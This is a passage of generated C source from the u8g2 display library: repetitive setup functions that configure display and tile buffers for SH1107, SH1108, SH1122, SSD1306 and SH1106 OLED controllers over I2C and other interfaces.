u8g2_Setup_sh1107_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 */\n/* sh1108 1 */\nvoid u8g2_Setup_sh1108_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 2 */\nvoid u8g2_Setup_sh1108_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 f */\nvoid u8g2_Setup_sh1108_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 */\n/* sh1108 1 */\nvoid u8g2_Setup_sh1108_i2c_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 2 */\nvoid u8g2_Setup_sh1108_i2c_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 f */\nvoid u8g2_Setup_sh1108_i2c_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_128x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 */\n/* sh1108 1 */\nvoid u8g2_Setup_sh1108_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 2 */\nvoid u8g2_Setup_sh1108_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 f */\nvoid u8g2_Setup_sh1108_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 */\n/* sh1108 1 */\nvoid u8g2_Setup_sh1108_i2c_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 2 */\nvoid u8g2_Setup_sh1108_i2c_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1108 f */\nvoid u8g2_Setup_sh1108_i2c_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1122 */\n/* sh1122 1 */\nvoid u8g2_Setup_sh1122_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sh1122 2 */\nvoid u8g2_Setup_sh1122_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sh1122 f */\nvoid u8g2_Setup_sh1122_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sh1122 */\n/* sh1122 1 */\nvoid u8g2_Setup_sh1122_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sh1122 2 */\nvoid u8g2_Setup_sh1122_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sh1122 f */\nvoid u8g2_Setup_sh1122_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = 